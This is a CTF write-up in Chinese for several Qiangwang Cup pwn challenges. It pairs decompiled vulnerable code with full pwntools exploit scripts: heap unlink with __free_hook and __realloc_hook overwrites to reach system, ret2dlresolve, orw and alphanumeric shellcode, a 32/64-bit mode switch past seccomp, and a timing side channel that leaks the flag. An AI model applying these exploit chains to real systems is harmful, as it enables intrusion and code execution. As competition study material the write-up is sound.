前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >强网杯PWN WP

强网杯PWN WP

原创
作者头像
i0gan
修改2021-06-28 10:04:23
2K0
修改2021-06-28 10:04:23
举报
文章被收录于专栏:I0gan

强网杯PWN WP

这次比赛总的来说体验还是很不错,baby_diary这个题虽然没有拿到前三血,但做题速度超过腾讯eee,星盟安全,长亭科技战队等。

这次本来可以去总决赛了,但由于我们学校另一支战队后期爆发,拿了个web一血,还多了我们道逆向,超了我们很多分数。

比赛结束截图如下

比赛结束是35名,但经过举办方的严查,最终官方排名:23

baby_diary

漏洞点

代码语言:txt
复制
__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
  {
    if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    if ( a3 == *(_BYTE *)(i + a1) )
      break;
  }
  *(_BYTE *)(i + a1) = 0;                      //设置最后一个至为0
  return (unsigned int)i;
}

执行完编辑函数,可以修改最后一个字节的low_byte位

代码语言:txt
复制
void __fastcall sub_1528(unsigned int idx, int n)
{
  __int64 v2; // [rsp+10h] [rbp-8h]

  if ( idx <= 0x18 && bufs[idx] )
  {
    v2 = bufs[idx];
    flags[idx] = n;
    if ( n )
      *(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话,存在溢出, 修改低4位
  }
}

然而sub_146E函数根据下面算法计算的,若大于0x0f的话,就不能构造结果为0,这有点坑。

代码语言:txt
复制
__int64 __fastcall sub_146E(unsigned int a1)
{
  int i; // [rsp+10h] [rbp-14h]
  unsigned int v3; // [rsp+14h] [rbp-10h]

  if ( a1 > 0x18 || !bufs[a1] )
    return 0xFFFFFFFFLL;
  v3 = 0;
  for ( i = 0; i < flags[a1]; ++i )
    v3 += *(unsigned __int8 *)(i + bufs[a1]);
  while ( v3 > 0xF )
    v3 = (v3 >> 4) + (v3 & 0xF);
  return v3;
}

漏洞综述,最后字节用'\x00'截断,4bit位溢出。

glibc 2.31下绕过unlink,稍微有点难构造,加上本身程序逻辑,更难构造了,各种层层构造关联太强了,但最后还是找的了某些地址,成功构造利用链子,这需要控制很好的地址的值,比如实现unlink时,prev_size 要满足 0x100的倍数,不然不好设置我们unlink chunk size低3位为 0,还有构造unlink的fd->bk 指向自己本身,bk->fd指向自己本身,然而程序有点烦人的是最后一字节为'\x00'截断的,后面有4bit位溢出,这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠,泄漏Libc然后再修改__free_hook为system函数,至于glibc 2.31下如何绕过unlink,它与2.29一样的,多了个 prev_size == chunk_size的检查,这就比较麻烦, 可以参考这篇博客:https://bbs.pediy.com/thread-257901-1.htm

下面是我重重构造,实现unlink的信息

代码语言:txt
复制
 0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730

exp

代码语言:txt
复制
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "8.140.114.72:1399"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)
def ad(sz, d):
    sla('>>', '1')
    sla(':', str(sz))
    if(sz > 0):
        sa(':', d)

def dp(idx):
    sla('>>', '2')
    sla(':', str(idx))

def rm(idx):
    sla('>>', '3')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    for i in range(7): # 0-6
        ad(0x1000, "padding\n")

    #ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
    ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31

    for i in range(7): # 8-14
        ad(0x28, 't\n')

    ad(0x1b20, "largebin\n") # 15
    ad(0x20, "padding\n") # 16
    rm(15)

    ad(0x2000, '\n') # 15
    ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin

    ad(0x28, 'a\n') # 18
    ad(0x28, 'b\n') # 19
    ad(0x38 + 0x300, 'c\n') # 20
    ad(0x28, 'd\n') # 21
    ad(0x28, 'e\n') # 22 for not merge
     
    # fill in tcache_entry[1](size: 0x30)
    t = 9
    for i in range(7): # 8-14
        rm(8 + i)
    rm(18) # t
    rm(20)
    rm(21)

    # clear tcache_entry[1](size: 0x30)
    for i in range(7): # 8-14
        ad(0x28, '\n')

    # fastbin to smallbin
    ad(0x450, '\n') #18

    # get a chunk from smallbin , another smallbin chunk to tcache
    # 20, change fake chunk's fd->bk to point to fake chunk
    ad(0x28,  b'\x03' + b'\x00' * 7 + b'\n')

    # clear chunk from tcache
    ad(0x28, 'clear\n') # 21
     
    for i in range(7): # 8-14
        rm(8 + i)
              
    # free to fastbin
    rm(19)
    rm(17)
               
    for i in range(7): # 8-14
        ad(0x28, '\n')
                        
    # change fake chunk's bk->fd
    ad(0x28, b'\n') # 17


    # Make house of einherjar
    rm(18)
    for i in range(6): # 8-14
        rm(8 + i)

    ad(0x170, '\n') # 8
    ad(0x450, '\n') # 9
    ad(0x60, '\n')  # 10
    
    rm(8)
    ad(0x177, b'\x00' * 0x177) # 8
    rm(8)
    ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
    # unlink
    rm(9)

    # leak libc 
    ad(0x430, '\n') # 9
    dp(22) 
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
    system = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']
    li('libc_base: ' + hex(libc_base))
    #ad(0x17, p64(free_hook) + b'\n')

    for i in range(3):
        ad(0x28, b'\n')
        
    rm(20) # 

    rm(0) # for clean
    rm(1) # for clean

    ad(0x18, '/bin/sh\n')

    rm(9) #
    ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n') 
    ad(0x28, '\n')
    ad(0x28, p64(system) + b'\n')

    db()
    rm(0)


    # double free
    #rm(0)


	'''
    rm(9)
    ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
    '''
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

noout

没有打印函数,通过'\x00'字节绕过字符串比较

代码语言:txt
复制
__sighandler_t sub_8049424()
{
  __sighandler_t result; // eax
  char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
  char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
  const char *v3; // [esp+5Ch] [ebp-Ch]

  init_();
  v3 = "tell me some thing";
  read(0, buf, 0x30u);
  v3 = "Tell me your name:\n";
  read(0, src, 0x20u);
  sub_80493EC(src);
  strcpy(dest, src);
  v3 = "now give you the flag\n";
  read(unk_804C080, src, 0x10u);
  result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
  if ( !result )
    result = sub_8049269();
  return result;
}

再利用计算错误抛出SIGFPE信号使调用漏洞函数

代码语言:txt
复制
__sighandler_t sub_8049269()
{
  __sighandler_t result; // eax
  void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
  int v2[2]; // [esp+4h] [ebp-14h] BYREF
  const char *v3; // [esp+Ch] [ebp-Ch]

  v3 = "give me the soul:";
  __isoc99_scanf("%d", v2);
  v3 = "give me the egg:";
  __isoc99_scanf("%d", &v1);
  result = v1;
  if ( v1 )
  {
    signal(8, (__sighandler_t)vuln);            // set handler
                                                // SIGFPE 表示一个算数运算异常
    v2[1] = v2[0] / (int)v1;                    // 使运算异常调用漏洞函数
    result = signal(8, 0);
  }
  return result;
}
代码语言:txt
复制
ssize_t vuln()
{
  char buf[68]; // [esp+0h] [ebp-48h] BYREF

  return read(0, buf, 0x100u);                  // stack overflow
}

漏洞函数中就是简单的堆栈溢出了,采用dl_runtime_resolve攻击。

exp

代码语言:txt
复制
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
from roputils import ROP
import os

# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.138.97:1234"

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    s('\x00' * 0x30)
    #db()
    # make calc error
    s('\x00' * 0x20)
    sl(str(-0xcccccccc))
    #db()
    sl(str(-1))

    # vuln, stack overflow
    rop  = ROP(elf_path)
    buf  = elf.bss()
    pop3 = 0x08049581
    p = b'\x00' * 0x4C
    p += p32(elf.sym['read'])
    p += p32(pop3)
    p += p32(0)
    p += p32(buf)
    p += p32(0x80)
    p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
    sleep(0.5)
    s(p)

    # dl resolve data 
    p = '/bin/sh\x00'.ljust(0x10, '\x00')
    p += rop.dl_resolve_data(buf + 0x10, 'execve')
    p = p.ljust(0x80, '\x00')
    sleep(1)
    sl(p)

    #sleep(0.1)
    #sl(p)
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

orw

一个伪heap题,开启了沙箱,编辑和打印功能没有,只能开辟两次堆,释放一次,没办法进行堆操作。

存在个index 负数溢出,可以实现修改got表,为堆地址。

代码语言:txt
复制
__int64 sub_E44()
{
  int idx; // [rsp+0h] [rbp-10h]
  int size; // [rsp+4h] [rbp-Ch]

  if ( add_nums <= 1 )
  {
    puts("index:");
    idx = inputn();
    puts("size:");
    size = inputn();
    if ( size >= 0 && size <= 8 && idx <= 1 )   // index overflow
    {
      bufs[idx] = malloc(size);
      if ( !bufs[idx] )
      {
        puts("error");
        exit(0);
      }
      puts("content:");
      readn((_BYTE *)bufs[idx], size);
      ++add_nums;
    }
  }
  return add_nums;
}

查看程序架构

代码语言:txt
复制
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

checksec发现存在rwx段,但发现是stack上的,想了半天没想通如何跳到堆栈那里去。

试试在堆上写shellcode,然后index溢出漏洞修改atoi的got地址为shellcode堆地址,跳到堆中执行指令,然而发现远程能执行,但自己本地不行,接下来就是orw的汇编指令编写了。

exp

代码语言:txt
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path  = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func-----------------------------
def db():
    gdb.attach(io)

def ad(idx, sz, d):
    sla('>>', '1')
    sla(':', str(idx))
    sla(':', str(sz))
    sa(':', d)

def dp(idx):
    sla('>>', '1')

def md():
    sla('>>', '1')

def rm(idx):
    sla('>>', '4')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    #for i in range(2):
    # wirte
    code = '''
    lea r15, [rip + 0xf9] /* buf */
    mov rdi, r15 /*buf*/
    mov rsi, 0x0 
    mov rdx, 0x0
    mov rax, 2
    syscall

    /*read*/
    mov rdi, 3
    mov rsi, r15
    mov rdx, 0x100
    mov rax, 0
    syscall

    /*write*/
    mov rdi, 1
    mov rax, 1
    syscall
    '''

    p = asm(code, arch = 'amd64')
    p = p.ljust(0x100, b'\x00')
    p += b'./flag\x00'

    ad(-14, 0, p + b'\n')
#    db()
    # call
    sla('>>', '4')
    
def finish():
    ia()
    c()

exploit()
finish()

shellcode

沙箱检查如下

代码语言:txt
复制
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x06 0x00 0x00000005  if (A == fstat) goto 0008
 0002: 0x15 0x05 0x00 0x00000025  if (A == alarm) goto 0008
 0003: 0x15 0x03 0x00 0x00000004  if (A == stat) goto 0007
 0004: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0008
 0005: 0x15 0x02 0x00 0x00000009  if (A == mmap) goto 0008
 0006: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW

输入的shellcode有检查

代码语言:txt
复制
 for ( i = 0; i < v6; ++i )
 {
    if ( v4[i] <= 31 || v4[i] == '\x7F' )
      goto LABEL_10;
 }

也就是机器码字符小于等于'\x31'的就退出或等于'\x7f',我们可以采用alpha3工具将机器码生成可显示字符,当然这个工具有限制,机器码不能出现'\x00',通过调试发现,shellcode的基址存放在rbx上,我们先实现一个输入的shellcode,避免后续不会再进行shellcode过滤。

代码语言:txt
复制
	code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''

在原来的shellcode + 0x120处实现输入,再跳到那个地方去。

采用alpha3工具生成可显示shellcode如下

代码语言:txt
复制
Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c

当然我也写了个函数方便修改。

代码语言:txt
复制
def gen_code():
    fd = open('sc.bin', 'wb')
    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''
    p = asm(code, arch = 'amd64')
    fd.write(p)
    fd.close()
    cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
    p = os.popen(cmd).read()
    print('shellcode: ' + p)
    return p

然而这个题禁用函数太多了,open和write也禁了,只能切换到32位架构来实现部分绕过了,为了方便实现堆栈,指令储存,我重新申请了个地址段,方便后续实现架构切换方便与数据写入等。

代码语言:txt
复制
	code = '''
    /*mmap*/
    mov r9d, 0          /* off */
    mov r8d, 0xFFFFFFFF /* fd */ 
    mov r10d, 0x22 /* flags */
    mov edx, 7          /* prot */
    mov esi, 0x1000      /* len */
    mov edi, 0x20000          /* addr */
    mov eax, 9
    syscall 

    /*read 32 shellcode*/
    xor rax, rax
    mov edi, 0
    mov esi, 0x20000
    mov edx, 0x1000 
    syscall

    /*retf to 32*/
    mov rax, 0x2300020000
    push rax
    '''
    p = asm(code, arch = 'amd64')
    p += b'\xCB' # retf

上面是实现向我们开辟到的内存写入数据,再从64位架构切换到32为且跳到我们开辟的内存段中。

后面就是写32位的asm code了,然而我发现,在32位下,只有一个有用的函数能调用,就是open函数,其他的read,write这些都不能调用了,这又使得重新回到64位下实现读入flag。

代码语言:txt
复制
	code = '''
    mov esp, 0x20a00

    /*open*/
    mov eax, 5 
    mov ebx, 0x20020
    xor ecx, ecx
    xor edx, edx
    int 0x80

    /*retf to 64*/
    push 0x33
    push 0x20030
    '''

    db()
    p = asm(code, arch = 'i386')
    p += b'\xCB' # retf
    p = p.ljust(0x20, b'\x90')
    p += b'./flag\x00'
    p = p.ljust(0x30, b'\x90')

    code = ''' 
    xor rax, rax
    mov edi, 3
    mov rsi, rsp
    mov edx, 0x100
    syscall

    '''

由于不能使用write的系统调用,只能采用延时爆破了

代码语言:txt
复制
	if idx == 0:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
    else:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

idx为读入的字符偏移,ch是我们猜测的字符,若想等,就进入死循环,否则就退出。

通过时间来判断是否想等。

总结:

自己踩了很多坑,shellcode必须为可显字符,后面绕过了,只能用少量的系统函数,64位架构时,只能使用read, mmap, fstat,我还以为切换架构到32位可以绕过syscall检测,想不到只允许调用open, 其他的read和write都不行,又重新切换到64位来执行read,再采用延时爆破读出来。

exp

代码语言:txt
复制
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.137.118:50050"

# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def gen_code():
    fd = open('sc.bin', 'wb')
    code = '''
    mov r15, rbx
    xor rdx, rdx
    add dx, 0x1080
    mov rsi, r15
    add si, 0x120
    xor rax, rax
    syscall
    jmp rsi
    '''
    p = asm(code, arch = 'amd64')
    fd.write(p)
    fd.close()
    cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
    p = os.popen(cmd).read()
    print('shellcode: ' + p)
    return p
#--------------------------exploit--------------------------
# ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
#  ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o

def exploit(idx, ch):
    li('exploit...')
    '''
    git clone https://github.com/TaQini/alpha3.git
    cd alpha3
    python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
    rax: shellcode base_address
    '''
    # python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
    #p = gen_code()
    p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
    s(p)

    code = '''
    /*mmap*/
    mov r9d, 0          /* off */
    mov r8d, 0xFFFFFFFF /* fd */ 
    mov r10d, 0x22 /* flags */
    mov edx, 7          /* prot */
    mov esi, 0x1000      /* len */
    mov edi, 0x20000          /* addr */
    mov eax, 9
    syscall 

    /*read 32 shellcode*/
    xor rax, rax
    mov edi, 0
    mov esi, 0x20000
    mov edx, 0x1000 
    syscall

    /*retf to 32*/
    mov rax, 0x2300020000
    push rax
    '''
    p = asm(code, arch = 'amd64')
    p += b'\xCB' # retf

    #p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
    sleep(0.01)
    s(p)

    code = '''
    mov esp, 0x20a00

    /*open*/
    mov eax, 5 
    mov ebx, 0x20020
    xor ecx, ecx
    xor edx, edx
    int 0x80

    /*retf to 64*/
    push 0x33
    push 0x20030
    '''

    db()
    p = asm(code, arch = 'i386')
    p += b'\xCB' # retf
    p = p.ljust(0x20, b'\x90')
    p += b'./flag\x00'
    p = p.ljust(0x30, b'\x90')

    code = ''' 
    xor rax, rax
    mov edi, 3
    mov rsi, rsp
    mov edx, 0x100
    syscall

    '''

    if idx == 0:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
    else:
        code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

    p += asm(code, arch = 'amd64')
    sleep(0.01)
    s(p)

    start = time.time()
    try:
        io.recv(timeout = 2)
    except:
        pass
    end = time.time()

    if (end - start > 1.5):
        return ch
    else:
        return None

def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    flag = ''
    idx = 3
    while True:
        for ch in range(0x20, 127):
            if LOCAL:
                elf = ELF(elf_path)
                if LIBC:
                    libc = ELF(libc_path)
                io = elf.process()
            else:
                elf = ELF(elf_path)
                io = remote(host.split(':')[0], int(host.split(':')[1]))
                if LIBC:
                    libc = ELF(libc_path)

            ret = exploit(idx, ch)
            if(ret != None):
                li('found: ' + chr(ch))
                flag += chr(ch)
                li('flag: ' + flag)
                idx += 1
            io.close()

pipeline

没有free函数,通过设置大小为0即可实现释放内存功能。

找了偏移,chunk头部链表逻辑,没有发现漏洞,在编辑数据的功能中,发现了个整型溢出漏洞。

漏洞点

代码语言:txt
复制
_QWORD *edit_body()
{
  _QWORD *result; // rax
  int size; // eax
  int index; // [rsp+10h] [rbp-10h]
  int v3; // [rsp+14h] [rbp-Ch]
  _QWORD *buf; // [rsp+18h] [rbp-8h]

  index = print("index: ");
  result = (_QWORD *)get_buf(index);
  buf = result;
  if ( result )
  {
    result = (_QWORD *)*result;
    if ( *buf )
    {
      v3 = print("size: ");
      printf("data: ");
      size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
      if ( v3 <= size )
        LOWORD(size) = v3;                      // vul
      result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
    }
  }
  return result;
}

一个整性溢出,因为采用LOWORD(size) = v3;进行赋值的,当我输入负数绕过判断,若LOWORD(v3)中的值为大于size本身值,即可实现溢出,那么就很好利用了。实现了任意地址写入,但有个检查

代码语言:txt
复制
unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
  unsigned __int64 result; // rax

  if ( ptr < *(_QWORD *)check_mem_buf
    || (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
  {
    puts("error");
    exit(0);
  }
  return result;
}

而check_mem_buf的值在初始化的时候赋予了

代码语言:txt
复制
unsigned int init_()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  check_mem_buf = (__int64)malloc(0x10uLL);
  *(_QWORD *)check_mem_buf = check_mem_buf + 16;
  *(_QWORD *)(check_mem_buf + 8) = 0x21000LL;   // memsize
  return alarm(0x78u);
}

基本上我们只能在堆段中实现任意地址写入了,这也比较好绕过,每个编辑功能都有个head chunk,修改head中的body指针,就可以实现任意地址写入数据了。

修改__realloc_hook为system,再调用realloc函数即可调用system。

exp

代码语言:txt
复制
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li    = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path  = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "59.110.173.239:2399"

# if local debug
LOCAL = 0
LIBC  = 1
#--------------------------func-----------------------------
def db():
    if(LOCAL):
        gdb.attach(io)

def ad():
    sla('>>', '1')

def md(idx, of, sz):
    sla('>>', '2')
    sla(':', str(idx))
    sla(':', str(of))
    sla(':', str(sz))

def rm(idx):
    sla('>>', '3')
    sla(':', str(idx))

def ap(idx, sz, d):
    sla('>>', '4')
    sla(':', str(idx))
    sla(':', str(sz))
    sa(':', d)

def dp(idx):
    sla('>>', '5')
    sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
    li('exploit...')
    # leak libc
    ad()
    md(0, 0, 0x458)

    ad()
    md(0, 0, 0) # free

    md(0, 0, 0x458) # add
    dp(0)
    leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
    libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
    li('libc_base: ' + hex(libc_base))

    # leak heap
    md(0, 0, 0) # free

    md(0, 0, 0x18) # add
    md(1, 0, 0x18) # add
    #ap(0, -1, 'A')

    ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
    md(0, 0, 0)  # free
    md(1, 0, 0)  # free

    md(0, 0, 0x18)  # add
    dp(0)
    ru('data: ')
    leak = u64(ru('\n').ljust(8, b'\x00'))
    heap = leak
    li('heap: ' + hex(heap))


    ad()
    md(1, 0x18, 0)  # add 1
    md(2, 0x18, 0)  # add 2

    ad()
    md(3, 0x18, 0)  # add 3


    md(2, 0, 0)  # free 2
    md(3, 0, 0)  # free 3
    md(1, 0, 0)  # free 1

    li('target_chunk: ' + hex(heap + 0x460))
    p = b'\x00' * 0x18
    p += p64(0x21) + p64(heap + 0x460) + p64(0)
    p += b'\n'
    ap(0, -0x7ffff00, p)
    md(3, 0, 0x18)  # add 3

    md(2, 0, 0x18)  # add 2
    p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
    p += b'\n'
    ap(2, 0x18, p)
    
    ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')

    ap(0, 0x18, '/bin/sh\x00\n')
    md(0, 0, 0)  # free , to get shell
    
def finish():
    ia()
    c()
#--------------------------main-----------------------------
if __name__ == '__main__':
    if LOCAL:
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
        io = elf.process()
    else:
        elf = ELF(elf_path)
        io = remote(host.split(':')[0], int(host.split(':')[1]))
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()

babypwn

这个题也是个坑,打印函数采用加密

代码语言:txt
复制
int __fastcall enc_print(unsigned int a1)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 2; i > 0; --i )
    a1 ^= (32 * a1) ^ ((a1 ^ (32 * a1)) >> 17) ^ (((32 * a1) ^ a1 ^ ((a1 ^ (32 * a1)) >> 17)) << 13);
  return printf("%lx\n", a1);
}

采用z3库来解,只能解一次循环加密的,第二次循环的解不出来,只能不用该条件了。

漏洞点

代码语言:txt
复制
unsigned __int64 __fastcall chc(_BYTE *a1)
{
  unsigned __int64 ch_; // rax

  while ( 1 )
  {
    ch_ = (unsigned __int8)*a1;
    if ( !(_BYTE)ch_ )
      break;
    if ( *a1 == '\x11' )                        // vul
    {
      ch_ = (unsigned __int64)a1;
      *a1 = 0;
      return ch_;
    }
    ++a1;
  }
  return ch_;
}

在输入完数据后,会死循环读取数据,若出现'\x00'则跳出,若出现'\x11'修改该字节为'\x00'且跳出循环。这利用方式就跟off by one差不多了。

程序开了沙箱

代码语言:txt
复制
__int64 sub_BAA()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(2147418112LL);
  seccomp_rule_add(v1, 0LL, 59LL, 0LL);
  return seccomp_load(v1);
}

前期我以为程序是在2.31下的利用方式,我一直在glibc 为2.31的环境下调试,怎么都不好构造绕过prev_size == chunk_size这个检查,查看libc.so.6,发现为2.27的。。。

